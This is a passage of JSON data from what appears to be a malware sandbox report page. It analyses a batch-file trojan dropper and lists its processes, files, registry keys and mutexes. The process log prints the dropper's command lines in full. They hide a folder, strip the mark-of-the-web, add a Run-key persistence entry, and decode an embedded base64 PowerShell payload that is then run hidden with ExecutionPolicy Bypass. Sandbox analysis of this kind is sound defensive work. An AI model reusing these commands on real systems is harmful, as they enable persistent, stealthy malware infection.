deletion"}],"sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]}]},"activity":{"stats":{"process_count":9,"spawned_processes_count":9,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":43,"imported_dlls_count":92,"dropped_files_count":0,"extracted_files_count":14,"files_written_count":33,"files_deleted_count":0,"registry_keys_created_count":13,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":13,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"6908db8ced9b8a1d810d386a","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":85,"submit_name":"STAZ520_Crypter_Install.bat","analysis_start_time":"2025-11-03T16:42:53+00:00","indicators_count":{"informative":145,"suspicious":43,"malicious":7},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true},{"id":"6908db75ff33b7c6cf06df33","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":85,"submit_name":"STAZ520_Crypter_Install.bat","analysis_start_time":"2025-11-03T16:42:31+00:00","indicators_count":{"informative":145,"suspicious":42,"malicious":7},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}],"processes":[{"pid":2212,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\STAZ520_Crypter_Install.bat\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00002212","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACqUlEQVR4Xu2U609SYRzH/ffauqgLy6ZNy5zLJl7RpnPLy4tq1VozzURQAjncEeRyTMA4XqKpUGlTy4URh8wZtckL33x7OI7GeCpOjEZNn+2zc85zfr99P89zLkVFx+PIj/a2ZnTIWgpCMrsoc/JvwHHcT49JBIGDg4OC8H8KBNc2YXY/g8O7gP1Egrr/J4gWSJCg3b24cO70LsLg8EJvn0E4wmN/P4EIv0P1iEG0gHs2AJNrFk7PghDM2J5Ca2WhJ0dmksW43o5INEb1ZUOUwPbHGExOHwxTHuhsM9CSwAmLG2qTEyrjFAm3QclYMT27QPVmQ5RA8jn7A0ESPC0E++aXhLmNd+9J8CQUWgsYiwuxnc9UbzZECSTZ2d2DxuzCE6MD6yQ4NS/XmDGiNsLDLVI9YhAl8CX+DWanFyrD4XbrbSxCq+uYCyzjscqA4XEdBpVarLxapXqzIUogwn8SXrIx3eF2yzUmYdXDKj2GxhgMKiYwMKoG65ujerMhSiDJUmgNjJU8/7kAWbUej0jwEFm11uKAnfVCoTGSr4CH//kLbIW3qf5fIVogHZ3VhYejGgzI1Qh/iPyY9y8GcKWpHfWyTuE6Hv9K9WaSk8AmeQlZHwe3xy9cM1Y7mrp60XC9G9XXmnGxrgEdN/px+aqU1G5R/enkJJBJY2cPaqRtaO3ug4+bx6BciXNVNZBUVMNqd1D16eRF4PWbdVTVN8JAdiI1VydtQWdPH1WbSV4EuvpvoaK2Hr037yDK8wiGXqK47AJOlUpgtFio+nTyItB3+x7Kq2tRVnkJpeWVKJaUC+EnTpfA6Wap+nTyIhDlYwiRn9CIchxnJOdxsuQslleC8HPZ/wt5EUixsfkWd+8/gNH8+21PJ68CufBvCMham4STQiBrJQLH48iP73Jxc3+jS4ktAAAAAElFTkSuQmCC"},{"pid":3400,"ppid":2212,"name":"cmd.exe","command_line":"/K \"C:\\STAZ520_Crypter_Install.bat\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00002212","uid":"00000000-00003400"},{"pid":1176,"ppid":3400,"name":"attrib.exe","command_line":"attrib +h \"%APPDATA%\\Microsoft\\118f410eb6ac\"","sha256":"0758152947f1a550e52ce8e3f9bcd988a23d36a458ad953795769b11c38ff2ea","normalized_path":"%WINDIR%\\system32\\attrib.exe","parent_uid":"00000000-00003400","uid":"00000000-00001176"},{"pid":1132,"ppid":3400,"name":"powershell.exe","command_line":"powershell -NoProfile -ExecutionPolicy Bypass -Command \"Set-Content '%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003400","uid":"00000000-00001132"},{"pid":7468,"ppid":3400,"name":"reg.exe","command_line":"reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"731d8cc2b9\" /t REG_SZ /d \"cmd.exe /c \\\"%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat\\\"\" /f","sha256":"411ae446fe37b30c0727888c7fa5e88994a46dafd41aa5b3b06c9e884549afde","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00003400","uid":"00000000-00007468"},{"pid":3984,"ppid":3400,"name":"powershell.exe","command_line":"powershell -NoProfile -ExecutionPolicy Bypass -Command \"try { $content = Get-Content -LiteralPath 'C:\\STAZ520_Crypter_Install.bat' -Raw -ErrorAction Stop; if ($content -match '::62051c48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath '%TEMP%\\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003400","uid":"00000000-00003984"},{"pid":8016,"ppid":3400,"name":"powershell.exe","command_line":"-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File \"%TEMP%\\ps_f8c40b9e.ps1\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003400","uid":"00000000-00008016"},{"pid":4252,"ppid":8016,"name":"csc.exe","command_line":"/noconfig /fullpaths @\"%TEMP%\\do4x3zh4\\do4x3zh4.cmdline\"","sha256":"a725546bde53f1ad533e74abb01dd5ed5f07b171f5c284738da88f6ce478cf5f","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","parent_uid":"00000000-00008016","uid":"00000000-00004252"},{"pid":1464,"ppid":4252,"name":"cvtres.exe","command_line":"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\RESC150.tmp\" \"%TEMP%\\do4x3zh4\\CSCE6B3564F52F04B81932CE7DA7058C4C0.TMP\"","sha256":"fd3ef1b4c91b2e85ccd05724a7cd527a3a27d7d549b0dcdb70d3d78be120c560","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","parent_uid":"00000000-00004252","uid":"00000000-00001464"}],"all_imported_dlls":["oleaut32.dll","cryptsp.dll","psapi.dll","wldp.dll","gdi32full.dll","System.Management.Automation.ni.dll","windows.storage.dll","clrjit.dll","uxtheme.dll","imagehlp.dll","ws2_32.dll","vcruntime140_clr0400.dll","rsaenh.dll","MpOAV.dll","System.Transactions.ni.dll","kernel32.dll","cmdext.dll","wintrust.dll","crypt32.dll","userenv.dll","msisip.dll","Microsoft.Management.Infrastructure.ni.dll","msvcrt.dll","fsutilext.dll","atl.dll","System.Core.ni.dll","clbcatq.dll","KernelBase.dll","gdi32.dll","kernel.appcore.dll","mscoreei.dll","wshext.dll","System.Data.ni.dll","Microsoft.PowerShell.Security.ni.dll","secur32.dll","System.DirectoryServices.ni.dll","System.Configuration.Install.ni.dll","bcryptprimitives.dll","bcrypt.dll","ntdll.dll","advapi32.dll","ole32.dll","shlwapi.dll","ucrtbase_clr0400.dll","System.ni.dll","WinTypes.dll","System.Xml.ni.dll","rpcrt4.dll","user32.dll","Xal31VZu.dll","sspicli.dll","Microsoft.PowerShell.Commands.Management.ni.dll","diasymreader.dll","alink.dll","ucrtbase.dll","vcruntime140_1_clr0400.dll","msasn1.dll","gpapi.dll","AppxSip.dll","System.Data.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","fltLib.dll","mscoree.dll","SHCore.dll","profapi.dll","pwrshsip.dll","MpClient.dll","mscorpehost.dll","VxSSL64.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","cryptbase.dll","shell32.dll","System.Transactions.dll","msvcp_win.dll","win32u.dll","imm32.dll","clr.dll","System.Configuration.ni.dll","sechost.dll","combase.dll","ulib.dll","version.dll","mscorlib.ni.dll","amsi.dll","System.Management.ni.dll","ntmarta.dll","slc.dll","sppc.dll","powrprof.dll","C34tmEq0.dll","System.Numerics.ni.dll","cfgmgr32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"do4x3zh4.cmdline","sha256":"164110d6b4520040588efb1ae2abed381c706d415461ed43d5ca0219dd104d6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"ps_f8c40b9e.ps1","sha256":"f27755fcf1dfb750ba4b35263153f5797474e844d9eb27e802f15dc6ad9f8e71","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"StartupProfileData-NonInteractive","sha256":"e82c949951edd5d9c0fd5f6c13c20033ca086f39a50738268b899dddf4dad267","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"__PSScriptPolicyTest_3fwyi0ub.ueu.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"__PSScriptPolicyTest_4qcchjtf.j01.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"__PSScriptPolicyTest_imbh4u2m.0yx.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"__PSScriptPolicyTest_jiokcb5i.evl.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"__PSScriptPolicyTest_onkt4v5k.4r3.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"__PSScriptPolicyTest_qeqb4m2e.txf.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"do4x3zh4.0.cs","sha256":"c523b4e639837564d41d22a562d098bca3403effd37b3b3414242532aed8e706","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"e321775766cf4f3d.bat%3AZone.Identifier","sha256":"7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"e321775766cf4f3d.bat","sha256":"feda854ecc1a6a8c56fb765c2964a5b2a9dbf1cff7ef9149b4e576d4a96e5269","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"rmcji0yx.cmdline","sha256":"2fdf6bc38a7ea6f69e5014bb131ba5a9d8aa8b774447f91daa059cce5f0630f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"rmcji0yx.0.cs","sha256":"c523b4e639837564d41d22a562d098bca3403effd37b3b3414242532aed8e706","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_jiokcb5i.evl.ps1","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_qeqb4m2e.txf.psm1","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_onkt4v5k.4r3.ps1","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_4qcchjtf.j01.psm1","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\ps_f8c40b9e.ps1","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_imbh4u2m.0yx.ps1","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_3fwyi0ub.ueu.psm1","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\do4x3zh4\\do4x3zh4.tmp","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\do4x3zh4\\do4x3zh4.0.cs","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\do4x3zh4\\do4x3zh4.dll","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\do4x3zh4\\do4x3zh4.cmdline","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\do4x3zh4\\do4x3zh4.out","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\do4x3zh4\\do4x3zh4.err","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_4ywdox0d.yv0.ps1","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_f0i3zdya.n00.psm1","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_qhnj4ymm.ri5.ps1","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_5xcvzlxg.trq.psm1","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ixajzkm3.eqn.ps1","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_xryi4xgg.pqf.psm1","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\rmcji0yx\\rmcji0yx.tmp","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\rmcji0yx\\rmcji0yx.0.cs","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\rmcji0yx\\rmcji0yx.dll","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\rmcji0yx\\rmcji0yx.cmdline","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\rmcji0yx\\rmcji0yx.out","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"path":"%TEMP%\\rmcji0yx\\rmcji0yx.err","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2212:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"Local\\SM0:2212:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3400:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"Local\\SM0:3400:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1132:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1132:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1132:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"Local\\SM0:1132:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"Local\\SM0:1132:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"SM0:1132:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7468:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"Local\\SM0:7468:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3984:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3984:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3984:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"Local\\SM0:3984:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"SM0:3984:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"Local\\SM0:3984:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\a1804de5bb_Mtx","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"Local\\SM0:8016:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"a1804de5bb_Mtx","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"SM0:8016:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"Local\\SM0:8016:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8016:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8016:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8016:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"Local\\SM0:3868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"SM0:3868:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"SM0:3868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3868:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"SM0:7020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"Local\\SM0:7020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"SM0:7020:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7020:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"SM0:4632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"Local\\SM0:4632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]}]}},"report_ids":{"sandbox_job_ids":["6908db8ced9b8a1d810d386a","6908db75ff33b7c6cf06df33"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious BAT/TrojanDropper.Agent Sample feda854ecc1a… — Score 85/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample feda854ecc1a…. Malware family: BAT/TrojanDropper.Agent. Threat score 85/100. 1/26 AV engines flagged this file. 7 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/feda854ecc1a6a8c56fb765c2964a5b2a9dbf1cff7ef9149b4e576d4a96e5269"}],["$","meta","4",{"property":"og:title","content":"Malicious BAT/TrojanDropper.Agent Sample feda854ecc1a… — Score 85/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample feda854ecc1a…. Malware family: BAT/TrojanDropper.Agent. Threat score 85/100. 1/26 AV engines flagged this file. 7 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox 